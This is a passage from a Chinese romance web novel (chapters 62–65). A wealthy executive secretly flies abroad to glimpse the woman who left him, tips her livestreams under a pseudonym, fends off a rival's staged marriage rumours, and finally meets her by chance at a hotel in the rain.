施友臻这次,决定先不要打扰。他折返回花店的时候,店主人看着陌生的游客主动打招呼,说着:“嗨,今天的玫瑰盛开得很美丽,要不要买一支送给心上人?” 施友臻想给清茉每天都订一束,但是那样好像会泯灭鲜花的意义,比起放任,克制更艰难。施友臻点头,说着:“今天好像不需要,她自己买过了。” 店家开朗道:“是很浪漫的女孩不是吗?刚才也有个美丽的女孩买了很大一捧玫瑰,她也说送给自己。鲜花和女孩,世上最美好的存在,对了,还有阳光。” 施友臻颔首,返回了自己的酒店,走到大堂,又心生不甘,离着他的二十四小时期限还有很久,就这么再次无功而返吗?施友臻这么想着,已经又快步折返回去,沿着刚才相同的道路重复走了一遍,这次更往前一点,拐过了街角。 施友臻看到了清茉住的房子。 因为清茉就在小小院落中,背对着他,开着水龙头冲洗花瓶,玫瑰花放在户外桌子上,清茉洗好花瓶,修剪花茎,一支一支摆进去。 施友臻站在街道暗影之中,隔着几十米的距离,就这么盯着她看。近乡情怯不该发生在施友臻身上,施友臻从来没有过“怯”这种选项,但是他的脚步好像被房屋的阴影一同定住。 要接受自己不在清茉未来的规划之中,比想象中的难堪。 施友臻迈不出去那一步,能预见的,只有见面之后更加糟糕的对峙。 所以他隐入暗影,再次折返往回走,又路过了花店,施友臻选了颜色单纯的正红色玫瑰花,说着:“如果下次她路过,帮我送给她一束花吧,就说来自远方的朋友。” 花店老板疑惑:“谁?” 施友臻:“刚才买花的女孩。” 花店老板点头:“但是我觉得,你要不要当面给她更好,她就住在附近,一见钟情吗?” 施友臻:“谢谢,下次吧。” 在小花园里打理完花花草草,清茉进屋摘掉手套,去冰箱里拿出一瓶冰镇苏打水,擦擦汗喝着冰水解渴,外面太阳快落山了,落进街道中的夕阳余晖分割着明暗的界线,她朝着外面望了几眼。 施友臻没有再在酒店逗留,直接去了机场,并不确定自己做的对不对,但是他想每个月都过来一次,登机前已经订好了下一次过来的机票。 每个月来一次好像需要等待很久,他又改成了半个月来一次。 他还是会住那个酒店,能看到清茉喜欢的小花店,沿途还有餐厅、超市、咖啡厅,总会邂逅的吧,保持着安全距离打招呼,她不至于不安到再次逃避吧。 施友臻心里并没有底儿。 他后知后觉总结着,自己这算是被林清茉拿捏了。 等下一次见面,施友臻倒是愿意跟清茉承认,是她赢了,他愿意认输。 不如就从街头陌生人相遇那样重新开始。 林清茉可不知道施友臻的弯弯绕子,她跟恩永在通话,恩永絮絮叨叨要吃发面包子,清茉无语道:“那你过来打下手,咱们搞个全程直播,不能光咱俩人仰马翻,要让广大网友一起看直播,盯着白面到底发不发。” 第62章 第六十二章 施友臻返程后,又回归…… 施友臻返程后, 又回归到了按部就班的日子,白天上班,晚上回到那个小房子看看书品品茶, 是秘密基地,也是世外桃源,有一点点理解清茉想要与过去切断联系的决心, 人一旦享有过出世的清静,就真的会沉迷, 不愿再入世。 就像在这个旁人都找不到的空间里, 独属于他一个人, 慎独固然是高尚品德, 但是他很喜欢在这里自由自在的感觉, 甚至已经抛弃坐有坐相站有站相的长久习惯,像清茉那样随意自在地趴在沙发上刷刷手机、看点闲书,不用担心被任何人打扰。 他特意在墙上装了纸质的大日历, 用醒目的马克笔标注了上次去S国的时间, 以及下次、下下次、下下下次的时间,每天下班进门先扯掉一张, 标记的那张不会扔, 玄关置物架上专门用一个老花匣子装着。 高度重复的工作生活中, 竟然也因为这样有了盼头和激情,施友臻觉得林清茉给他打开了一扇又一扇异世界的大门, 原来世界还可以被赋予这么多丰富的情绪, 他以前看不起这种,觉得轻浮、没有意义、浪费时间、虚度光阴。 现在觉得有趣,有生机,一天日子有了一天日子的滋味, 每撤掉一张日历,心情就轻松几分,他好像也喜欢上了那里的和煦阳光和松弛闲适的街道漫步。 他倒是自得其乐,施妈妈对他的耐心达到了临界点,终于在某个下午爆发,直接闯到了施友臻集团总部的办公室,进门就直接输出说着:“怎么约你吃顿饭这么难!你是恋爱了吗?哪儿哪儿都不见人影,我昨天在澜湾等了你一天也不见人,你入赘到女方家里了吗?” 施友臻虽然忙得不怎么享受老爸老妈的温情,但是见着施妈妈,也放下手头工作,跟年节那次一样,关上办公室的门,难得露出几分隐藏着的大男孩情绪,说着:“我倒是想谈。” 施妈妈一愣,怀疑自己没听清楚,瞪着眼睛又问了一遍:“你说什么?我耳朵劈叉没听清楚。” 施友臻决计不会再说第二遍,抬着手腕看时间,哦,腕表也是林清茉送回狮麟别苑的那支,他神经质似的最近只戴这支。既然施妈妈追到办公室,施友臻就干脆约道:“那就今天晚上吧,您去逛个街,我下班过去一起吃晚饭。” 施妈妈总觉得哪里不对,狐疑地上下打量施友臻,也小声嘀咕道:“儿子,你是不是,碰到厉害角色了?” 施友臻拒绝接话回答,抽了自己的卡递给施妈妈,让施妈妈去逛街,施妈妈笑着接过,嘴上不饶他,继续说着:“逛街能花几个钱,我差你这点?真有孝心给我瞧瞧你送出去的翡翠镯子呗,那个我稀罕。” 施友臻低头翻看文件,拒绝道:“让我爸买。” 施妈妈:“行吧,总之白养。” 晚上施友臻来到施妈妈订好的餐厅,施妈妈跟他炫耀今天新购的衣服包包,施友臻瞧着那些奢侈品,觉得都没有花店里的鲜亮玫瑰花动人心弦,甚至那对手镯,也比不过明媚阳光下的一捧盛开的玫瑰。 不知道她收到花会怎么猜测。 施友臻在想事情,施妈妈见他心不在焉,又开始念叨:“我见你见不着,我的小棉袄少衡也被你派到外地,跟妈妈讲实话,你们兄弟俩有没有闹矛盾?怎么把他派到那么远的地方,妈妈好想少衡。” 施友臻解释道:“没闹矛盾,是很重要的项目,他去锻炼锻炼,旁人盯我也不放心。” 施妈妈点头:“少衡最近倒是挺长进。” 施友臻就是要少衡快点长进,他已经被异国的阳光侵蚀了灵魂,也开始渴望自由的风和浪漫的街头偶遇,他希望未来他如果突然休假几个星期、几个月,再甚至半年、几年 ,少衡能够稳稳地抗住这位产业。 他已经守了很长时间,代表“施”这个姓氏,但是属于“自我”的那部分,并没有存在感。他用姓氏代表的财富、地位、权势,去压人一头,压别人,也压了林清茉,又有什么实际意义呢?真正自由的灵魂,反而是那些轻飘飘就可以飞走的人。 这些打算来日方长,他不会讲出来,施妈妈吃着喜欢的甜品,一边点着手机,突然说着:“哎呀你二婶分享的什么,我看看,恩恩在直播吗?妈呀你二婶让我看看恩恩是不是跟女孩同居了!快快快我要看直播!” 妯娌们之间的八卦之魂熊熊燃起,恩恩也是不喜欢被家里束缚的,施友臻年后把恩永派到S国,也是留了私心,恩永这孩子性格正直,是可以作为紧急联系人的。 施友臻原本没在意,看着施妈妈两眼放光地点进去恩永的直播,低头继续吃饭。施妈妈放大了声音,施友臻听到一愣,立刻起身走到施妈妈那边,也看向了手机画面中的直播。 镜头没有拍到人脸,位置放得低,是故意不拍脸,放置在厨房台面上,拍摄着一男一女在忙碌。男生是恩永,一直在镜头前问着: “水怎么放?纯净水还是自来水?” “放多少?要用量杯吗?” “面粉呢?面粉在哪里?面粉怎么从粉变成面?” “然后呢?剁馅儿吗?我有的是力气,哪块肉,全是瘦的吗?没有肥的吗?” “啊!案板被我剁开了!” “肉掉地上一半怎么办?” 厨房里另外一位是个讲话很温柔很有耐心地女孩,在一旁洗菜,条理地讲着: “水跟面粉都在餐桌上,等一下我先准备酵母。” “想吃肥一点的吗?那下一次吧,这次买的瘦的。” “小心一点!没关系,捡起来,擦擦地板。” “剩下的装盆里,我多加一点菜。” “馅儿变少了,那剩下的面蒸馒头吧,不过首先得发面成功。” 镜头被女孩拿到发着面的盆子跟前,女孩对看直播的朋友们说着:“估计得发一会,我看看有几个真爱粉留下陪着发面。” 闲下来的恩永开始念弹幕: “发多久?我也不知道啊。” “想吃酸菜馅儿的。我也想吃,我俩都没有酸菜,那下次直播腌酸菜吧。” “劲儿怎么这么大?我将近一米九好吧!平时健身的!” 施妈妈突然抓住施友臻,激动道:“怎么留言!你快问问,是不是恩恩女朋友!怎么才能让恩恩看到,感觉俩人很默契!好有爱!” 施友臻:“……”他看第一眼就认出了是林清茉,就算不露脸,林清茉的手腕、手指、腰身,他没少盘,怎么可能认错,心里也是犯嘀咕,就在直播间里留言问道: “是男女朋友吗?” 清茉的账号最近流量不小,施友臻的留言瞬间就被顶走了,施友臻沉默片刻后,复制粘贴,连发十条,恩永终于看到,俏皮说着: “是不是男女朋友?你们猜呢?反正我今天在小姐姐家里!” 施妈妈刚要尖叫,女孩突然说着:“不准瞎传绯闻这位同学,不是情侣关系,是打下手的弟弟和无聊投喂的姐姐,我大他好多。” 直播间里都在陪聊吃瓜,恩永盯着面盆也盯着评论区,继续念着:“姐弟恋很流行?我问问。” 恩永抬高嗓门喊着:“亲爱的,考虑姐弟恋吗?” 清茉笑道:“暂时不考虑亲爱的,你太能吃了,我养不起。” 施妈妈狐疑问着施友臻:“他俩不是呗?真的假的,你打电话问问恩永,恩永在女孩家里?是同事吗?” 一米九的恩永在施友臻的眼中,跟小鼻嘎没什么两样,他不关心,他的重点在于镜头前忙碌的林清茉,听着清茉的声音,施友臻感觉酒酣上头的感觉。 他把直播链接从施妈妈的手机上发到自己的手机,然后起身说着:“还要回公司,先走了。”然后撂下施妈妈,自己直接到车里,继续看清茉的直播。 清茉这次直播的时间很长,趁着等待发面的时间,清茉举着摄像头到了外面的小花园,介绍了园子里的花,她最近又买了一个花瓶,镜头对准桌上的花瓶和绽放的玫瑰花,说着:“今天路过花店,老板送给我了一束花,说之前有人替我订的,我觉得是她记错了,不过她一定要给我。” 清茉冲着屋子里喊着:“对了,恩恩,是你送的花吗?” 恩永已经饿得在啃苹果了,喊道:“不是!花又不能吃!” 清茉给直播间的观众看她打理的小花园,一株一株介绍着品类,施友臻在车内密闭空间里听着视频中清茉的声音,好像就在耳边,越是这样不能触摸,越是思念泛滥。 施友臻再次承认,林清茉赢了这场博弈。 直播一直持续了好几个小时,俩人都是厨房新手,发面不知道什么时候算发好,包包子不会掐褶,好不容易放到蒸笼开火,又忘了放蒸布,出锅的时候不仅掉了底子,发好的面不知道为什么又塌了下去,像烫面包子。但是恩永说味道超好,他连吃六个。 过于真实的笨拙尝试让直播间人数飙升,施友臻注册了一个看起来南辕北辙的网名“美食探险家”,网友刷屏实在太快,施友臻看着心里烦躁,就查了查操作方式,直接给点了打赏套餐。 清茉正在总结今天的经验,被突然出现的打赏画面吓一跳,说着:“哇,竟然收到了打赏,第一个哟,我看看……嗯,感谢这位……美食探险家朋友,您的ID还挺应景,谢谢谢谢,感谢今天陪伴我们一起探险,下次的探险也要来哦!” 施友臻心跳加速,像摔进了蜂蜜王国,呼吸都急促起来,他平生第一次被这种隐秘的兴奋感和愉悦感充盈,之前面对面送那些贵重珠宝奢侈品都没有过这种感觉,在全世界面前,被清茉温温柔柔地点出名字感谢,太满足和奇妙了。 第63章 第六十三章 融恒集团近期正在进行人事…… 融恒集团近期正在进行人事调整, 人事任命前夕气氛比较凝重和紧张,集团内部虽然这么多年一直秉持任人唯贤的节奏,但是毕竟是作为施家的家族企业发家, 传言这次调整,是要委任施家的一众年轻小辈到重要岗位。 风风雨雨传什么的都有,施友臻巍然不动, 不过几位心思活泛的叔伯,主动找到办公室发现施友臻好像比以往好说话, 之前是铁着脸谁也不搭腔, 现在倒是能客气几句, 他们从施友臻客气的态度里揣测, 以为是所求有戏, 集团里更是传什么的都有了。 结果他们还是低估了施友臻的定力,新的一批人事任命里,并没有裙带, 还是那些有口碑有能力的干将们把持关键部门, 数了数都是施友臻的嫡系,其中一直在秘书室任职的章宁, 调任去了金融口的子公司担任一把手。 章宁跟着施友臻多年, 关上办公室的门, 试探问着:“那您私人事务,以后我还兼职吗?林小姐一出国, 我看您也是卸磨杀驴了。” 施友臻最近确实心情不错的样子, 但是没有跟章宁分享任何东西,章宁只能靠硬猜,反正他知道施友臻前几天又飞了一趟S国,这是见面了?章宁自认为猜得对, 看破不说破,春风得意去高升去了。 现在知道施友臻秘密的,一个人也没有了。他仍旧住在那个小房子中,每天得了新趣味,就当之前拆解清茉简历和论文的那样,一篇一篇翻看着清茉发布的内容。 最早一篇是清茉落地S国拍摄的机场照片,日期是除夕。 那个苦等一夜无法取得联系的夜晚记忆,被清茉这张雨中机场照片覆盖,变得润泽温和起来,清茉配的文字是:“告别&开始。” 施友臻非常想留言怼上一句,根本没有告别。但是转念一想,清茉可能跟她的朋友们都好好告别了,六六丹尼都是知道的,唯独没有告别的人,可能只有他自己,他既不存在于清茉未来的人生规划,也不存在于她必须有个交代的过去。 说是不强求,其实本质还是处处强求,他不追去S国,不时刻关注她的动态,其实很容易联系就真的断了。 后面的内容是清茉徒步的旅行,以风景居多,文字只是带了地名,偶尔也分享当地的历史故事,她确实徒步旅行了很长一段时间,文字平和快乐,跟遇到的年轻人玩得很开心,最后还总结了徒步攻略,她说未来要选更南边的一条八百公里的新线路。 施友臻竟然也期待起来,他想陪清茉一起走,就是不知道会不会让她扫兴,有人喜欢结伴徒步,有人享受独处朝圣的乐趣,反正他现在不敢说很深入了解清茉了。 再往后慢慢多了校园的内容,或许她也不见得真的那么轻松快乐,社交媒体上分享的欲望不低,校园里的新鲜事儿都放了出来,枯坐一下午图书馆想开题,或者跟同窗飞去陌生的城市参加学术会议,又或者在机场丢失了一个可爱的小挂包。 她数据爆火的那两篇,都是因为给恩永做饭,施友臻把恩永当小辈,原本并没有生出什么危机情绪,晚上他翻看这些内容的时候,突然出现了更新提示,竟然是清茉拍的恩永,没有露脸,但是露出了腹肌。 背景是海边沙滩,恩永上衣没穿衣服,很是显摆地摆弄了好几个健身动作,清茉文字中写道:“你们弟弟说,这样拍数据肯定更爆,让我们拭目以待,弟弟能不能赢过包子饺子韭菜盒子。” 施友臻看着年轻男孩活力满满的肌肉照,心情糟糕,怪不得都叫小鲜肉,年龄无形中确实是一种资本,又是近水楼台,想想也挺烦,少衡被工作压得消停了,又出来个更年轻的,施友臻起身站到玄关处的日历前查看,数了数离下次出发还有好多天。 他想着规则是人定的,可以更改。 准备重新订票的时候,清茉的账号突然开了直播,施友臻听着她的声音伴着海风就这么呼啸在了耳边。 清茉的手机镜头有些晃,对着大海拍摄,说着:“看有朋友留言说想看海,我们随机直播给大家看看,好漂亮,今天风稍微有点大,不过吹着清爽。” 她镜头拍着沙滩,赤着脚在走,说着:“我们坐了几个小时火车到海边,待会去吃一家非常有名的海边餐厅,好饿,不过弟弟跟朋友得再打会球,我再走走,前面一只好可爱的边牧,看到了吗?” “海水还有点凉,狗狗在接飞盘!好准,比我准。” “明天要飞外地开会,估计下周没有时间直播,给大家更新漂亮风景吧。看到那栋白色的房子了吗?那就是晚上的餐厅,我提前好多天才订到,弟弟如果吃得跟驴一样,那就他买单,真的,太能吃了,养不起,青春期男生都这么能吃吗?” 施友臻不自觉嘴角已经上翘,听着清茉聊天,好像是跟他一个人聊,清茉是他陌生的样子,更加松弛自在。 清茉举着镜头走了一段距离,介绍着这个海滨城市的旅游景点和美食,捡到漂亮的贝壳拿近让镜头拍得更清楚些。镜头向下的时候扫到了她穿着白底蓝色大花卉的长裙,评论区有人说漂亮。 施友臻本来不想那么冒进出头,但是实在是忍不住,就继续投了几个打赏最高额的套餐,瞬间又成了榜一大哥,清茉被特效画面炸得眼睛都花了,问着:“谢谢美食探险家朋友,不过真的不用打赏,我们就聊聊天嘛,破费了破费了,感谢!” “弟弟过来了,今天的小直播就到这里了!我们下次再见!” 清茉退出直播,看了看后台才发现榜一大哥今天支持的金额有点夸张,还带动着旁人也打赏了一部分,她想了想是不是该搞点粉丝服务,就找到了晚上打赏的几个账号,包括“美食探险家”的账号,群发过去私信,写着:“您好,非常感谢支持直播间,方便留个地址吗?给您递旅行明信片!” 施友臻点开信息的时候,呼吸都小心翼翼变轻了,有点庆幸他是榜一,不是旁人,不然清茉是不是就去私信旁人了。他想了想,清茉应该不知道澜湾,就留了澜湾的地址和他另外一个工作手机号。 发过去后,清茉发来了很可爱的“收到”表情包。 施友臻觉得这大概是他花过性价比最高的一笔钱。 第64章 第六十四章 市里商界在传一段佳话,说…… 市里商界在传一段佳话, 说张家闺女对施家小子痴心不改、用情专一,终于真心换真心,俩家商界大佬的联姻将于近期举办。张家放出这个消息, 一头热地广而告之,甚至上了媒体,张嘉这几年作为优秀独立女性高管, 热衷于参与节目访谈,算是半个公众人物, 她有心炒热度倒逼, 联姻的事儿就越传越真了。 媒体上甚至已经放出来几张模糊的合影照, 了解这两家的也觉得门当户对很合理, 就更当真了。施友臻最近又神出鬼没行踪成谜, 颇有跟谁恋爱的隐秘迹象,就连少衡都当了真,回去问施妈妈, 施妈妈表示不管这些闲事儿, 上次她难得约到施友臻,还被半途放鸽子, 没意思, 白养。 张嘉最近作为市里十佳优秀青年企业家受到了表彰, 接受采访的时候记者又提起来这个话题,张嘉落落大方, 神态表情很像被爱情浸润的幸福模样, 跟记者说着:“请大家耐心等待,有好消息我会第一时间分享。” 暧昧的采访稿发出去没几天,张嘉就到融恒集团的总部大楼做客,好像更坐实了绯闻, 楼里的工作人员对张嘉都高看一眼,毕竟是未来可能的老板娘,张嘉很聪明地没有直接约施友臻,而是约了下面部门经理,谈了会公事,说约了施友臻,对方帮刷到了施总楼层。 秘书室的人看到张嘉没有预约就过来,一愣,但是能拦住事儿的章宁已经调走了,刚上任的几位秘书话语权不重,没敢拦着,张嘉直接进了施友臻办公室,亭亭玉立真的跟女主人似的。 施友臻抬眼看向不速之客,倒也没什么,但是觉得秘书室的人或许该再换一换。他请张嘉落座,张嘉环顾参观,落落大方问着:“想见您一面可真难,我以为非得出造谣诽谤官司才能见上呢。” 施友臻说着:“出了官司也没什么见面的必要。” 张嘉点头:“按照你的风格确实做的出来,不过说真的,这次没见你辟谣,是心动了吗?联姻的话,都有好处不是吗?我们家的业务领域,你不是一直想涉猎吗?结婚的话,可以直接拿走。” 施友臻:“谢谢,不过不需要。” 张嘉问着:“其实我今天专程来是想问问,这次怎么不着急辟谣,我可一步一步在试探底线,您要是继续纵容,我今天出了融恒的大门,就直接买个热搜公布婚讯,对融恒,对我们家都利好。” 施友臻说着:“张嘉,如果你一定要在我们家族里选人结婚,青年才俊还有不少,我建议你再看看,没有制止是因为目前你的所有造势,都没有点名道姓。” 张嘉起身,说着:“那我就继续试探底线喽?” 施友臻:“差不多适可而止吧,下次搞不好真的是律师见面了。” 张嘉:“行,我心里有数,但是联姻邀请一直有效。友臻哥,我真的一直很喜欢你,除却巫山不是云。” 施友臻:“谢谢错爱,但是不可能。” 张嘉起身,说着:“谁知道呢,我想得到什么,长这么大都没有失手过,人都有软肋,都会妥协,您也很清楚不是吗,我们边走边看喽。” 张嘉基于以上的认知,是觉得施友臻这种人,压根也不会主动去爱什么人,他会是利益当头的务实派,而不是什么谈情说爱的理想家。 所以张嘉请的拍摄团队拍下了张嘉进出融恒集团的照片,当天晚上就买了热搜,造势搞得红红火火,张嘉趁机谈了几个融资项目,借着融恒集团的势大赚一笔。 施家爷爷都坐不住了,觉得自家的隐形财产被人侵占了,也找到施友臻办公室,但是在大孙子面前察言观色,等施友臻忙完手头的活,端给大孙子他亲手泡好的新茶,叱咤风云一辈子的老人家努力做出慈眉善目的样子,问着:“乖孙,几个意思?” 施友臻淡定道:“女孩子爱慕错了人,补偿一点也无所谓。” 爷爷一脸问号,觉得不是施友臻的风格,又问:“我以为你会直接发律师函呢,那到底看上了还是没看上?” 施友臻:“没。” 爷爷:“哦……那,就这么放任不管?” 施友臻:“没有,以集团的名义之前已经发公告否认过一次,再重复发,未免太给面子了,不值得。” 爷爷:“哦,这么想倒也没错,融恒毕竟更大气包容,那我就当没这回事?” 施友臻:“嗯。” 爷爷想了想,总觉得哪里不对,离开前又回身问着:“不是,我说乖孙,你否认这个倒是容易,那哪个是真的?你不能总一直单身不谈对象吧?” 跟上次施妈妈问的话一样,施友臻在亲厚的长辈面前,内心藏着的小男孩又露出了头,说着:“我倒是想谈。” 施爷爷跟施妈妈的反应一样,怀疑自己听错了,问着:“什么?你说什么?” 施友臻送客。 螳螂捕黄雀在后,这世上能摆施友臻一道的人,估计还没出生,不,出生了,姓林名清茉。 在施友臻故意要强求、故意要强留、故意要介入林清茉未来人生的计划中,如何创造交集话题是个很智慧的工作,他不在乎张嘉利用融恒集团谈了几笔生意,谈成是她的本事,干得成也是她的本事。 施友臻借力打力,他就是利用了张嘉造势的话题。钱财都是身外之物,他现在是匮乏贫瘠的求爱之人,施友臻在林清茉的组合拳拷打之下,定位得明明白白。 绯闻上热搜的那天,施友臻截图热搜榜,把话题用醒目的红色粗线条框框出来,把融恒集团几年前发过的辟谣文章也重新找出来截图,都发到了林清茉的邮箱中,写道:“都是假新闻,不必信。” 反正广而告之跟全世界辟谣也没什么意义,只是给对方再造话题,但是针对一个人辟谣很有意义,他的清茉不能误会。 林清茉收到邮箱新邮件提示的时候,点进去就看到了夸张的大红框,啼笑皆非,莫名又觉得有几分俏皮可爱,总之比催款邮件效果好了很多。说实话她最近有个小组作业,跟同组磨合得磕磕绊绊,有点焦头烂额,没看那些新闻八卦。 怎么从这封邮件里体会到施友臻有种自卖自夸的小得意?清茉几乎产生了要回复的冲动,想怼他怎么这次不发公告,是不是心里有鬼。林清茉甚至想要给施友臻上一节心机教育课,内容都拟好了: “哥,你不如直接认了跟张嘉姐的婚讯,然后把结婚请帖甩我脸上,质问我要不要反悔,是不是后悔!那样才狗血拉满!辟谣个什么鬼!你都辟谣了我还会在意上心吗!” 回复好像就上了施友臻的套,所以清茉仍旧是不回答。 她在学校熬了个通宵,终于完成课业任务,早晨往回走迷迷糊糊困得不行,又困又饿,找了家开门稍微早一点的餐厅,坐在外面露天餐桌旁点了早午餐。今天有点阴天,早晨带着几分凉意,清茉捧着一杯热牛奶暖着手。 路边有几位晨跑的年轻人路过,清茉懒懒散散地瞧着,捏了捏自己小肚子,最近老是坐着看书查资料,运动没跟上,被恩永带动,吃得倒不少,胖了一些,也得好好锻炼一下了。正想着,瞧着前面一个跑步的背影,直接呛了一口奶。 实在太像施友臻了。 清茉站起来探头向前张望,对方穿着专业跑步装备,步履轻快矫健地已经穿过街道,看后背身形跟施友臻实在是像,清茉看他背影消失在街角,重新坐下,继续懒懒散散地喝着牛奶,跟服务员小姐姐聊天说着天气,可能是要下雨了。 夜有所思日有所想吗?清茉不愿意承认,刚才确实心跳超级加速,虽然不可能,但是她现在的失落感,不能否认。 吃掉三明治,清茉打着哈欠往回走,走到一半就开始下雨了,她小跑着往家赶,想着刚才跑步的人估计也会淋雨,会淋雨的人,更不可能是施友臻了。 施友臻大概永远都是熨贴的西装革履,雨天有伞,雪天也有伞,他的生活严丝合缝,不会有计划外。大概率应该没有吧。 清茉到家洗澡换上舒服的睡衣窝到床上,又点开了施友臻发来的邮件,已经三封了。可能会有第四封,也可能不会。 人的胃口会被吊起来,也会被耗尽。 清茉觉得,都是人之常情,都能坦然接受,遗憾就是人生常态嘛。胡思乱想间,困乏得马上就陷入了深睡眠,不知道外面雨中还在跑步的人,终点驻足在她的门外,冲着她卧室的窗户,大方方做着拉伸调整。 这是施友臻飞来的第三次,昨天夜里飞了通宵,清晨抵达,时差混乱,就干脆出来运动运动。 他倒是也喜欢上了这个城市,适合放缓节奏,适合沿着街道跑跑步走走路,倒是没想到跑到一半会下雨,下雨跑步也没停,绕着清茉日常生活圈继续跑,然后停在她房子外面,痛快地拉伸,心里的燥火倒是没有被运动减轻,人高马大一身蛮力挺想破门而入。 深深吐纳平息,但是拉伸的时候,不小心碰到了林清茉围墙上的一株小盆景,哐啷一声掉到了围墙里。 第65章 第六十五章 那天的雨比平时下得时间久…… 那天的雨比平时下得时间久, 断断续续一直持续到傍晚,清茉睡了整个白天,醒来时仍旧昏昏沉沉, 感慨自己不是熬夜也无所谓的小年轻了。爬起来发了会呆,心里倒是清清静静,近期已经没有着急的课业, 可以安排旅行,也可以选几场学术会议出去长长见识。 好像只有念书的时候才会有这种心里无所挂碍的清静心态, 经历过社畜的阶段才知道这份清静有多珍贵。 她起床洗把脸, 换上简单的一身运动装, 又看着窗外的雨发了会呆, 才不紧不慢地举着雨伞出门。开门的时候发现门口围墙上的一盆小绿植摔了下来, 花盆碎了一地,这可是她特意去乡村市集淘来的粗陶花盆,是刮风了吗?也没风啊, 怎么就摔下来了。 可能有路过的淘气猫咪吧。 清茉心疼地收拾好, 把里面的绿植先放到花圃里,检查了检查其他几盆都固定好了, 才继续出发。空气很润泽清朗, 她心情也很轻松, 掏出手机看了眼平台账号后台,好多催直播的留言, 她准备明天找个地儿取漂亮景色跟大家分享, 至于直播,恩永上次说要做刀削面,清茉总觉得又是一场出丑直播。 一路闲散地走着,路过水果店、肉铺, 又路过花店,就到了清茉出门的目的地。是当地的一家老牌酒店,建筑都是百年历史了,里面外面的装潢带着老牌帝国的皇室贵气,酒店对外售卖超好吃的手工面包店,也售卖手工巧克力,贵是贵了点,清茉这不是流量接到广告费了嘛,奖励自己买好吃的面包和巧克力,顺便给恩永带几块也作为奖励。 清茉来过几次,大胡子店员对清茉印象很深,今天用很多清茉都听不懂的专业词汇一顿推销,让清茉试吃他开发了新品,碳水烤制的芬芳是世间最简单最温暖的快乐,清茉空腹一天,吃到热乎乎刚出炉的坚果面包,心里很快乐。 拎着打包好的面包和巧克力,大胡子店员还送给清茉两颗额外的牛奶巧克力作为礼物,用漂亮的彩色包装纸包着,放到清茉的掌心。 外面的雨好像更大一些,清茉站在酒店门口没着急走,打着伞想观望一下雨势,剥开手心里的一颗巧克力吃掉,香甜奶香的醇厚黑巧让人心情更好了,她哼了喜欢的歌,轻轻转了转伞。 施友臻的二十四小时旅行接近尾声,放纵没有尽头,这样赋予时限更像一场冒险游戏,他觉得有趣味,千金难买。遗憾的是,这次不像上次那么幸运,没有见到林清茉的身影。 雨中痛快跑了一圈,路过清茉可能参与的各个生活场景,他已经在这里跟清茉晒过同样的日光浴,享受过一样的晚风,这次更是淋到了一样的雨水,施友臻觉得挺好,算人生的新鲜体验,比起急躁地逼迫,这种岁月静好时光漫漫的步调,也未尝不可。 时间差不多该出发了,他拉着登机箱下楼站在酒店门口,等待送机车辆,觉得有必要购置房产和车子。走到酒店大堂闻到很香的麦香味道,刚出炉的面包摆放到了货架上,当地人踩着点在采购,清静的大堂比平时看着热闹一些。 餐厅的甜品和巧克力很有名,是清茉应该会喜欢的口味,只是施友臻没规划什么时候能邀请清茉一起吃饭,或者清茉应该已经尝过,她会跟恩永这种年轻朋友们一起聚餐吧,想想还是会妒忌,施友臻好像没办法变成那种傻白甜的小年轻,所以被清茉如此戒备。 外面的雨傍晚开始下得更大,他没有带伞,待会直接进机场,应该问题不大。等车的时候,看到酒店门口还站着一个人,已经撑开了伞,伞面遮挡住了脸,手里拎着酒店面包房的袋子。 那个人孩子气地晃着雨伞,像是心情不错地在欣赏雨景。 施友臻盯着伞看了片刻,心里有个荒谬的冲动。 眼前的雨帘变得细小一些,打着伞的人好像决定要迈步朝前走了,施友臻在证据并不充足的情况下,再次顺应了自己的本能,用流利的英文突然开口问着:“女士,可以借用一下你的伞吗?” 是曾经非常熟悉的低磁嗓音,如惊雷炸在了耳边。 林清茉将要迈出的脚步生生顿住,猛回头就看到了施友臻,还是之前的样子,高大笔挺的一身正装,冷硬笔直得像没有什么温度的硬金属,明明是生人勿扰的气场,现在开口问她索要一把伞,凭空出现得像魔法。 林清茉目瞪口呆看着他,有点理解不了眼前的情境。 施友臻心里给自己的判断力打了满分。他刚才观察,伞下的人穿着清茉惯穿的那个牌子的板鞋,运动裤也有几分眼熟,这种摇晃雨伞的快乐小动作,施友臻幼年在二楼窗户后见过,小小的清茉踩着小黄鸭雨靴,含着一根棒棒糖,举着透明的小伞蹲着草地旁数蜗牛,心情很好会轻轻晃着小伞,施友臻路过的时候,听到她咿咿呀呀唱着乱七八糟的儿歌。 好像已经很久没有见面了,清茉刚来的时候,心里也没底,甚至有些害怕施友臻做出什么过激的行为,现在处处留痕的信息时代,要找到一个人并不难,她甚至还跟施恩永关系密切。清茉做过噩梦,梦到很多离谱的场景,梦里控制欲爆表的施友臻像个让人窒息的恶魔。 跟晓杨恢复联系之后,知道晓杨入职了融恒集团,她甚至梦到过施友臻把她简历甩到脸上,怒斥她是该下地狱的骗子,然后真的把她推下去了深渊,她那天一身冷汗惊醒,心跳很快,心有余悸,施友臻真的想让谁下地狱,也不会很难。 但是日子就这么一天一天宁静地淌过,旅行顺利,入学顺利,安安静静地过了一日又一日,施友臻像凭空消失了一样,唯一有联系的,就是那三封邮件,邮件中施友臻的情绪好像也挺稳定。 清茉甚至已经接受:时间确实可以冲淡,可以平复,可以翻篇。 她看着眼前高大严肃的男人,还是下意思地紧张地攥紧了伞把手,观察了男人是带着登机箱,脑子飞快想着,他是来出差吗?应该是准备离开了吧,既然准备离开,那就不是刻意来堵她的吧,纯属偶尔预见?但是也未免太纯太偶然了吧? 林清茉说着:“抱歉,我还要用,您可以问酒店借一把。” 施友臻简直要被她的小气行为气笑了,再次坚持道:“我要去机场,借用酒店的不方便还,不如你来借酒店的,把你的伞给我?” 林清茉觉得讨论这种话题很搞笑,警惕道:“你借走我的,就方便还了吗?” 施友臻点头:“嗯,就是要借你的。”他抬起手腕看了看时间,接机的车子刚才已经到了眼前,施友臻将军道:“当然,这位女士不介意我因为一把伞更改行程,多留几天的话,再讨论下去,飞机就真的飞走了。” 打蛇打七寸,林清茉一听,立马把雨伞双手奉上,说着:“旅途愉快,再见。” 施友臻嘴角忍不住上扬,点评道:“真是没有礼貌。” 林清茉气道:“你快走!” 施友臻不着急,问着:“这家面包好吃吗?” 林清茉把面包袋子藏到身后,用英文拒绝道:“很贵,不想分享,快走吧这位先生!伞就送给您了!这位慷慨的、善良的、了不起的绅士!” 司机已经帮施友臻放好了行李,施友臻收好林清茉的伞,心情非常不错的样子,说着:“幸会,感谢您的慷慨,再见。” 